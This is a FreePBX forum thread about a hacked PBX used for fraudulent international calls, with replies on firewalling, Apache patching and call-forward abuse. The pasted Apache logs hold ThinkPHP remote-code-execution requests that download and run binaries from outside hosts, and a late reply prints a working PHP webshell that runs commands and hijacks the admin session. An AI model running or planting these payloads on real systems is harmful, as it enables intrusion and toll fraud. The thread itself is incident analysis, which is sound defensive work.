FreePBX Server Hacked. Was firewalled but port 80 open to the world

I’m the one hiding off topic posts! And everyone was warned twice now. This is not the place for discussion about what should have been done.

2 Likes

I had questioned if the circa-2016 FreePBX exploits were patched since being made public. Still wondering if my assumption/hope is correct they had been. Googled this working example, which pretty much aligns with what the OP observed. If their only exposed port was HTTP, then this scenario could occur if the exploit vector is still present, right?

OP, if you look in your /var/www/html directory you might see some questionable PHP files with newer dates I’m thinking. If so, these serve as the payload for what the exploiting party dropped off…

https://0x4148.com/posts/fpbx-remote-root-exploit/

There are no known exploits as of now.

1 Like

Thanks for all the tips folks. I’ve been busy reviewing and rewriting firewall rules. I will post the info you have requested from the breached server when time permits.

It’s simple really, the underlying issue is the fact that SNG7 is using Apache 2.4.6 and Apache is on 2.4.41. That means SNG7 is using a version of Apache released in 2013, a good three and a half years before we got SNG7. Which means Apache was already past 2.4.6 by the time SNG7 went into Alpha, Beta and Stable releases. At no point was Apache updated during that process.

So right now we’re sitting on 45 releases (roughly) in the last 6 years with numerous CVE’s opened up against this version (and newer releases). The lack of securing and updating Apache before and after the release of SNG7 is how we got here to begin with. That race condition CVE that I posted is a prime example on how the system can be pwned, it’s a DoS+Info (i.e. they can get sensitive information from the system).

These alone should have prompted the development team to re-address the Apache version quite some time ago. Hell, I’m not sure how it got decided that 3 year old releases should be the base of the distro when more current versions were available for the development.

1 Like

This is a very productive thread, in terms of looking at the issue from all sides. One thing I might chime in with. Based on past experiences trying to balance — security versus convenience. Each aspect is inversely proportional to one another.

Whenever I have an internal server that I need to make public, I carefully look at the use case before publishing it. If it only needs to be accessed by certain networks, I only allow those IP subnets for inbound. In this FreePBX scenario, what would be the suggested model?

I’m assuming open up TCP Port 80 inbound just for those work-related IP subnets that would need to access it. Then open up just the inbound TCP/UDP port ranges that connect from the SIP trunking provider’s IP subnet. As well as from work-related networks that might have SIP devices.

That should suffice, right? As long as you have a good firewall/router that serves it purpose, then doing this should help workaround any potential Apache flaws that exist, correct?

Also side note to the OP, I took a peek at your profile on here and see you appear to have been hit with a possible hack a couple years back --> AsteriskNOW Hacked no sign of hacker. Regardless of the exploit vector that will hopefully be discovered and patched in the future, it would definitely point to a need to proactively look at locking things down. One hit should be enough! :smile:

An explanation of why you’re incorrect

Enterprise Linux A.K.A CentOS, A.K.A RHEL A.K.A SNG7 versioning is NOT EQUAL to upstream versioning. EL maintains their own packages with back-ported fixes. In the context of this post It is unlikely but not impossible that the source of compromise was Apache or an upstream package assuming all packages were up to date at the EL level

4 Likes

Hello,

Have you check if there are any weird call forwards at your extensions? Some of my old PBX have been “hacked” when a caller managed to run call forward commands on extensions and setup CF to some external PBX.

1 Like

A post was split to a new topic: Fortigate exploit

Hello Folks,

I’m only getting to look at the logs now.
I see a lot of activity an hour before the first calls where made. This from the httpd log:

162.255.127.90 - - [01/Sep/2019:03:37:16 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://51.81.7. 53/akbins/x86.akira.ak -O thonkphp ; chmod 777 thonkphp ; ./thonkphp thinkphp ; rm -rf thinkphp' HTTP/1.1" 302 - "-" "Cakle/2.0" 185.153.196.47 - - [01/Sep/2019:03:55:36 +0100] "\x03" 302 - "-" "-" 185.153.196.47 - - [01/Sep/2019:03:55:37 +0100] "\x03" 302 - "-" "-" 117.5.217.136 - - [01/Sep/2019:04:07:38 +0100] "GET ../../mnt/custom/ProductDefinition HTTP" 400 313 "-" "-" 180.141.141.70 - - [01/Sep/2019:04:13:22 +0100] "GET ../../mnt/custom/ProductDefinition HTTP" 400 313 "-" "-" 195.135.39.56 - - [01/Sep/2019:05:56:26 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://91.237.2 49.245/x86 -O /tmp/kh; chmod 777 /tmp/kh; /tmp/kh thinkphp' HTTP/1.1" 302 - "-" "Hello, World/2.0" 185.53.88.54 - - [01/Sep/2019:06:03:57 +0100] "GET //a2billing/customer/templates/default/footer.tpl HTTP/1.1" 404 324 "-" "python-requests/2.22.0" 185.53.88.54 - - [01/Sep/2019:06:03:58 +0100] "\x16\x03\x01" 302 - "-" "-" 185.53.88.54 - - [01/Sep/2019:06:05:30 +0100] "\x16\x03\x01" 302 - "-" "-" 185.53.88.54 - - [01/Sep/2019:06:05:31 +0100] "GET //vtigercrm/vtigerservice.php HTTP/1.1" 404 304 "-" "python-requests/2.22.0" 185.53.88.54 - - [01/Sep/2019:06:07:02 +0100] "GET / HTTP/1.1" 302 - "-" "python-requests/2.22.0" 185.53.88.54 - - [01/Sep/2019:06:07:02 +0100] "GET /admin HTTP/1.1" 301 314 "-" "python-requests/2.22.0" 185.53.88.54 - - [01/Sep/2019:06:07:02 +0100] "GET /admin/ HTTP/1.1" 302 - "-" "python-requests/2.22.0" 185.53.88.54 - - [01/Sep/2019:06:07:02 +0100] "GET /admin/config.php HTTP/1.1" 200 7330 "-" "python-requests/2.22.0" 185.53.88.54 - - [01/Sep/2019:06:07:03 +0100] "\x16\x03\x01" 302 - "-" "-" 185.53.88.54 - - [01/Sep/2019:06:12:18 +0100] "GET //recordings/ HTTP/1.1" 200 6568 "-" "python-requests/2.22.0" 185.53.88.54 - - [01/Sep/2019:06:12:19 +0100] "\x16\x03\x01" 302 - "-" "-" 185.53.88.54 - - [01/Sep/2019:06:13:57 +0100] "GET //about.php HTTP/1.1" 404 286 "-" "python-requests/2.22.0" 185.53.88.54 - - [01/Sep/2019:06:13:58 +0100] "\x16\x03\x01" 302 - "-" "-" 190.141.91.117 - - [01/Sep/2019:06:17:56 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.8.159 .7/bins/UnHAnaAW.x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1" 302 - "-" "Uirusu/2.0" 185.244.25.81 - - [01/Sep/2019:06:24:20 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.95.147 .115/bins/UnHAnaAW.x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1" 302 - "-" "Uirusu/2.0" 118.24.72.48 - - [01/Sep/2019:06:49:59 +0100] "GET /?_=15626661a9758 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:28.0) Gecko/20100101 Firefox/28.0" 118.24.72.48 - - [01/Sep/2019:06:50:07 +0100] "GET /robots.txt?_=15626661a9758 HTTP/1.1" 200 361 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:28.0) Gecko/20100101 Firefox/28.0" 118.24.72.48 - - [01/Sep/2019:06:50:10 +0100] "POST /App.php?_=15626661a9758 HTTP/1.1" 404 284 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:28.0) Gecko/20100101 Firefox/28.0" 118.24.72.48 - - [01/Sep/2019:06:50:13 +0100] "GET /webdav/ HTTP/1.1" 404 284 "-" "Mozilla/5.0" 118.24.72.48 - - [01/Sep/2019:06:50:13 +0100] "GET /help.php HTTP/1.1" 404 285 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)" 118.24.72.48 - - [01/Sep/2019:06:50:21 +0100] "GET /_query.php HTTP/1.1" 404 287 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)" 118.24.72.48 - - [01/Sep/2019:06:50:22 +0100] "GET /test.php HTTP/1.1" 404 285 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)" 118.24.72.48 - - [01/Sep/2019:06:50:23 +0100] "GET /db_cts.php HTTP/1.1" 404 287 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)" 118.24.72.48 - - [01/Sep/2019:06:50:24 +0100] "GET /db_pma.php HTTP/1.1" 404 287 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)" 118.24.72.48 - - [01/Sep/2019:06:50:35 +0100] "GET /help-e.php HTTP/1.1" 404 287 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)" 118.24.72.48 - - [01/Sep/2019:06:50:36 +0100] "GET /license.php HTTP/1.1" 404 288 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)" 118.24.72.48 - - [01/Sep/2019:06:50:45 +0100] "GET /hell.php HTTP/1.1" 404 285 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)" 118.24.72.48 - - [01/Sep/2019:06:50:55 +0100] "GET /pmd_online.php HTTP/1.1" 404 291 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)" 118.24.72.48 - - [01/Sep/2019:06:50:57 +0100] "GET /x.php HTTP/1.1" 404 282 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)" 118.24.72.48 - - [01/Sep/2019:06:50:57 +0100] "GET /shell.php HTTP/1.1" 404 286 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)" 118.24.72.48 - - [01/Sep/2019:06:50:58 +0100] "GET /htdocs.php HTTP/1.1" 404 287 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)" 118.24.72.48 - - [01/Sep/2019:06:51:00 +0100] "GET /b.php HTTP/1.1" 404 282 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)" 118.24.72.48 - - [01/Sep/2019:06:51:01 +0100] "GET /sane.php HTTP/1.1" 404 285 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)" 118.24.72.48 - - [01/Sep/2019:06:51:03 +0100] "GET /z.php HTTP/1.1" 404 282 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)" 118.24.72.48 - - [01/Sep/2019:06:51:05 +0100] "GET /lala.php HTTP/1.1" 404 285 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)" 118.24.72.48 - - [01/Sep/2019:06:51:06 +0100] "GET /lala-dpr.php HTTP/1.1" 404 289 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)" 118.24.72.48 - - [01/Sep/2019:06:51:07 +0100] "GET /wpo.php HTTP/1.1" 404 284 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)" 118.24.72.48 - - [01/Sep/2019:06:51:08 +0100] "GET /t6nv.php HTTP/1.1" 404 285 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)" 118.24.72.48 - - [01/Sep/2019:06:51:09 +0100] "GET /muhstik.php HTTP/1.1" 404 288 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)" 118.24.72.48 - - [01/Sep/2019:06:51:11 +0100] "GET /wp-config.php HTTP/1.1" 404 290 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)" 118.24.72.48 - - [01/Sep/2019:06:51:13 +0100] "GET /muhstik.php HTTP/1.1" 404 288 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)" 118.24.72.48 - - [01/Sep/2019:06:51:14 +0100] "GET /muhstik2.php HTTP/1.1" 404 289 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)" 118.24.72.48 - - [01/Sep/2019:06:51:14 +0100] "GET /muhstiks.php HTTP/1.1" 404 289 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)" 118.24.72.48 - - [01/Sep/2019:06:51:15 +0100] "GET /muhstik-dpr.php HTTP/1.1" 404 292 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)" 118.24.72.48 - - [01/Sep/2019:06:51:18 +0100] "GET /lol.php HTTP/1.1" 404 284 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)" 118.24.72.48 - - [01/Sep/2019:06:51:18 +0100] "GET /uploader.php HTTP/1.1" 404 289 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)" 118.24.72.48 - - [01/Sep/2019:06:51:19 +0100] "GET /cmd.php HTTP/1.1" 404 284 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)" 118.24.72.48 - - [01/Sep/2019:06:51:20 +0100] "GET /cmv.php HTTP/1.1" 404 284 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)" 118.24.72.48 - - [01/Sep/2019:06:51:22 +0100] "GET /cmdd.php HTTP/1.1" 404 285 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)" 118.24.72.48 - - [01/Sep/2019:06:51:24 +0100] "GET /knal.php HTTP/1.1" 404 285 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)" 118.24.72.48 - - [01/Sep/2019:06:51:25 +0100] "GET /cmd.php HTTP/1.1" 404 284 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)" 118.24.72.48 - - [01/Sep/2019:06:51:25 +0100] "GET /shell.php HTTP/1.1" 404 286 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)" 118.24.72.48 - - [01/Sep/2019:06:51:26 +0100] "GET /appserv.php HTTP/1.1" 404 288 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)" 118.24.72.48 - - [01/Sep/2019:06:51:28 +0100] "GET /scripts/setup.php HTTP/1.1" 404 294 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)" 118.24.72.48 - - [01/Sep/2019:06:51:29 +0100] "GET /phpmyadmin/scripts/setup.php HTTP/1.1" 404 305 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)" 118.24.72.48 - - [01/Sep/2019:06:51:41 +0100] "GET /phpMyAdmin/scripts/setup.php HTTP/1.1" 404 305 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)" 118.24.72.48 - - [01/Sep/2019:06:51:43 +0100] "GET /phpmyadmin/scripts/db___.init.php HTTP/1.1" 404 310 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)" 118.24.72.48 - - [01/Sep/2019:06:51:44 +0100] "GET /phpMyAdmin/scripts/db___.init.php HTTP/1.1" 404 310 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)" 118.24.72.48 - - [01/Sep/2019:06:51:46 +0100] "GET /pma/scripts/setup.php HTTP/1.1" 404 298 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)" 118.24.72.48 - - [01/Sep/2019:06:51:53 +0100] "GET /myadmin/scripts/setup.php HTTP/1.1" 404 302 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)" 118.24.72.48 - - [01/Sep/2019:06:51:56 +0100] "GET /MyAdmin/scripts/setup.php HTTP/1.1" 404 302 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)" 118.24.72.48 - - [01/Sep/2019:06:51:57 +0100] "GET /pma/scripts/db___.init.php HTTP/1.1" 404 303 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)" 118.24.72.48 - - [01/Sep/2019:06:51:59 +0100] "GET /myadmin/scripts/db___.init.php HTTP/1.1" 404 307 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)" 118.24.72.48 - - [01/Sep/2019:06:52:00 +0100] "GET /MyAdmin/scripts/db___.init.php HTTP/1.1" 404 307 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)" 118.24.72.48 - - [01/Sep/2019:06:52:01 +0100] "GET /plugins/weathermap/editor.php HTTP/1.1" 404 306 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)" 118.24.72.48 - - [01/Sep/2019:06:52:01 +0100] "GET /cacti/plugins/weathermap/editor.php HTTP/1.1" 404 312 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)" 118.24.72.48 - - [01/Sep/2019:06:52:02 +0100] "GET /weathermap/editor.php HTTP/1.1" 404 298 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"

This is when the first call was made according to full log:
Not all calls are successful as our peer doesn’t allow all destinations to be called.
Does anyone recognize the method used to make the calls.

[2019-09-01 08:08:30] VERBOSE[24449][C-00089017] app_dial.c: – SIP/In2Tel NewPlat-00017539 is circuit-busy
[2019-09-01 08:08:30] VERBOSE[24449][C-00089017] app_dial.c: == Everyone is busy/congested at this time (1:0/1/0)
[2019-09-01 08:08:30] VERBOSE[24449][C-00089017] pbx.c: – Executing [s@macro-dialout-trunk:23] NoOp(“Local/00201121838383@from-internal-000a44e0;2”, “Dial failed for some reason with DIALSTATUS = CONGESTION and HANGUPCAUSE = 34”) in new stack
[2019-09-01 08:08:30] VERBOSE[24449][C-00089017] pbx.c: – Executing [s@macro-dialout-trunk:24] GotoIf(“Local/00201121838383@from-internal-000a44e0;2”, “0?continue,1:s-CONGESTION,1”) in new stack
[2019-09-01 08:08:30] VERBOSE[24449][C-00089017] pbx.c: – Goto (macro-dialout-trunk,s-CONGESTION,1)
[2019-09-01 08:08:30] VERBOSE[24449][C-00089017] pbx.c: – Executing [s-CONGESTION@macro-dialout-trunk:1] Set(“Local/00201121838383@from-internal-000a44e0;2”, “RC=34”) in new stack
[2019-09-01 08:08:30] VERBOSE[24449][C-00089017] pbx.c: – Executing [s-CONGESTION@macro-dialout-trunk:2] Goto(“Local/00201121838383@from-internal-000a44e0;2”, “34,1”) in new stack
[2019-09-01 08:08:30] VERBOSE[24449][C-00089017] pbx.c: – Goto (macro-dialout-trunk,34,1)
[2019-09-01 08:08:30] VERBOSE[24449][C-00089017] pbx.c: – Executing [34@macro-dialout-trunk:1] Goto(“Local/00201121838383@from-internal-000a44e0;2”, “continue,1”) in new stack
[2019-09-01 08:08:30] VERBOSE[24449][C-00089017] pbx.c: – Goto (macro-dialout-trunk,continue,1)
[2019-09-01 08:08:30] VERBOSE[24449][C-00089017] pbx.c: – Executing [continue@macro-dialout-trunk:1] NoOp(“Local/00201121838383@from-internal-000a44e0;2”, “TRUNK Dial failed due to CONGESTION HANGUPCAUSE: 34 - failing through to other trunks”) in new stack
[2019-09-01 08:08:30] VERBOSE[24449][C-00089017] pbx.c: – Executing [continue@macro-dialout-trunk:2] Set(“Local/00201121838383@from-internal-000a44e0;2”, “CALLERID(number)=”) in new stack
[2019-09-01 08:08:30] VERBOSE[24449][C-00089017] pbx.c: – Executing [00201121838383@from-internal:8] Macro(“Local/00201121838383@from-internal-000a44e0;2”, “outisbusy,”) in new stack
[2019-09-01 08:08:30] VERBOSE[24449][C-00089017] pbx.c: – Executing [s@macro-outisbusy:1] Progress(“Local/00201121838383@from-internal-000a44e0;2”, “”) in new stack
[2019-09-01 08:08:30] VERBOSE[24449][C-00089017] pbx.c: – Executing [s@macro-outisbusy:2] GotoIf(“Local/00201121838383@from-internal-000a44e0;2”, “0?emergency,1”) in new stack
[2019-09-01 08:08:30] VERBOSE[24449][C-00089017] pbx.c: – Executing [s@macro-outisbusy:3] GotoIf(“Local/00201121838383@from-internal-000a44e0;2”, “0?intracompany,1”) in new stack
[2019-09-01 08:08:30] VERBOSE[24449][C-00089017] pbx.c: – Executing [s@macro-outisbusy:4] Playback(“Local/00201121838383@from-internal-000a44e0;2”, “all-circuits-busy-now&pls-try-call-later, noanswer”) in new stack

Here is when the calls peaked:
s=Shout Sip Gateway
c=IN IP4 194.165.191.106
t=0 0
m=audio 57826 RTP/AVP 0 101
a=rtpmap:0 PCMU/8000
a=rtpmap:101 telephone-event/8000
a=fmtp:101 0-15
a=ptime:20
<------------->
[2019-09-01 11:00:04] VERBOSE[20965] chan_sip.c: — (11 headers 10 lines) —
[2019-09-01 11:00:04] VERBOSE[20965][C-00089c7c] chan_sip.c: list_route: hop: sip:[email protected]:5060
[2019-09-01 11:00:04] VERBOSE[20965][C-00089c7c] chan_sip.c: Found RTP audio format 0
[2019-09-01 11:00:04] VERBOSE[20965][C-00089c7c] chan_sip.c: Found RTP audio format 101
[2019-09-01 11:00:04] VERBOSE[20965][C-00089c7c] chan_sip.c: Found audio description format PCMU for ID 0
[2019-09-01 11:00:04] VERBOSE[20965][C-00089c7c] chan_sip.c: Found audio description format telephone-event for ID 101
[2019-09-01 11:00:04] VERBOSE[20965][C-00089c7c] chan_sip.c: Capabilities: us - (gsm|ulaw|alaw), peer - audio=(ulaw)/video=(nothing)/text=(nothing), combined - (ulaw)
[2019-09-01 11:00:04] VERBOSE[20965][C-00089c7c] chan_sip.c: Non-codec capabilities (dtmf): us - 0x1 (telephone-event|), peer - 0x1 (telephone-event|), combined - 0x1 (telephone-event|)
[2019-09-01 11:00:04] VERBOSE[20965][C-00089c7c] chan_sip.c: Peer audio RTP is at port 194.165.191.106:57826
[2019-09-01 11:00:04] VERBOSE[18889][C-00089c7c] app_dial.c: – SIP/In2Tel NewPlat-0001874f is making progress passing it to Local/0037065035330@asterisk-outcalls-000a5144;2
[2019-09-01 11:00:04] VERBOSE[20965] chan_sip.c:
<— SIP read from UDP:194.165.191.106:5060 —>
SIP/2.0 200 OK
Via: SIP/2.0/UDP 88.151.26.102:5060;branch=z9hG4bK13670b78;rport=5060;received=88.151.26.102
Max-Forwards: 70
Contact: “Shout SIP Gateway” sip:[email protected]:5060
From: sip:[email protected];tag=as7ac41ebe
To: sip:[email protected];tag=ShoutSipLeg58485
Call-ID: [email protected]:5060
CSeq: 102 INVITE
Server: Shout Sip Switch (Version 5.5.1.0 Released Build)
Content-Type: application/sdp
Content-Length: 221

v=0
o=shout 880689202 102500686 IN IP4 10.7.7.106
s=Shout Sip Gateway
c=IN IP4 194.165.191.106
t=0 0
m=audio 57826 RTP/AVP 0 101
a=rtpmap:0 PCMU/8000
a=rtpmap:101 telephone-event/8000
a=fmtp:101 0-15
a=ptime:20
<------------->
[2019-09-01 11:00:04] VERBOSE[20965] chan_sip.c: — (11 headers 10 lines) —
[2019-09-01 11:00:04] VERBOSE[20965][C-00089c7c] chan_sip.c: list_route: hop: sip:[email protected]:5060
[2019-09-01 11:00:04] VERBOSE[20965][C-00089c7c] chan_sip.c: set_destination: Parsing sip:[email protected]:5060 for address/port to send to
[2019-09-01 11:00:04] VERBOSE[20965][C-00089c7c] chan_sip.c: set_destination: set destination to 194.165.191.106:5060
[2019-09-01 11:00:04] VERBOSE[20965][C-00089c7c] chan_sip.c: Transmitting (NAT) to 194.165.191.106:5060:

4 posts were split to a new topic: Provisioning security

I’m going to guess this is being done via Call Forwarding. The CF functions would use Local channels and send them through from-internal to make the call. You might want to check all the CF settings for users.

1 Like

@ChrisMaverley Just for some clarification, are you in the US/Canada? Because this format for the International number is a non-US/Canada format.

So if you are in the US/Canada you shouldn’t have a matching Outbound Route for that.

I’m in Ireland. Can you give me more info on the call forwarding vulnerability.

Check if any extensions are set to forward:

[root@test]# asterisk -x "database show CF"
/CF/2005                                          : 90210
1 results found.

None found.

[root@office-VoIP-Sept-2019 pnetadmin]# asterisk -x "database show CF" 0 results found.

If you are using port 80 to manage your FreePBX, all data is sent in CLEAR TEXT. Everything you send including admin user and password are in clear text. You should ONLY be using port 443 to login and use the FreePBX GUI.

On top of that, you should ONLY allow the administrator(s) IP address(es) to access 80/443. Since I don’t know your setup, here is some food for thought.

At my office and at our data centre we have Mikrotik routers. From our office, we have L2TP/IPSec VPN. In the remote FreePBX servers, iptables only allows connections from RFC1918 addresses (192.168.xxx.xxx, 172.16.xxx.xxx, etc.) to port 80 and connections to port 80 are then redirected to port 443. Also use htpasswd to protect and do NOT use the same user/pass credentials for htpasswd as you have for the FreePBX gui. When outside the office, VPN to office router and then able to securely access FreePBX GUI.

Failed sip logins are banned and the ban is sent to the Mikrotik router permanently. The bans can be deleted of course by the person controlling the Mikrotik router.

Since our office doesn’t have static IP address, simply use IP/Cloud in Mikrotik to get an a cname address and that address is added to both Mikrotik and to our custom iptables firewall scripts.

In outbound routes, we only have those international countries we actually call.

1 Like

I’ve had a few compromised systems in the past. In each instance I found files in /var/www/html that didn’t belong. Usually there was one called phpversions.phpThey would have something like the following: Might we be looking at a php vulnerability?

<form action="" method="post" ><input size=20 type=password name="p" /><input size=60 type=text name="c" /><input type=submit value="Hacked" /></form>
Hacked >
<?php
if(md5($_REQUEST['p'])=='5e93f3072191e5add6c4bd9c1a89c807') 
{
@system($_REQUEST['c']); 
include_once "/var/www/html/libs/paloSantoDB.class.php"; 
include_once "/var/www/html/libs/paloSantoACL.class.php"; 
$pDB = new paloDB("sqlite3:////var/www/db/acl.db"); 
$db = $pDB->fetchTable("SELECT name, md5_password,extension from acl_user WHERE id ='1'"); 
session_name("elastixSession"); 
session_start(); 
$_SESSION['elastix_user'] = $db[0][0]; 
$_SESSION['elastix_pass'] = $db[0][1]; 
echo '<a href="/" >Emad__Was__Here</a>';
}
?>

This topic was automatically closed 7 days after the last reply. New replies are no longer allowed.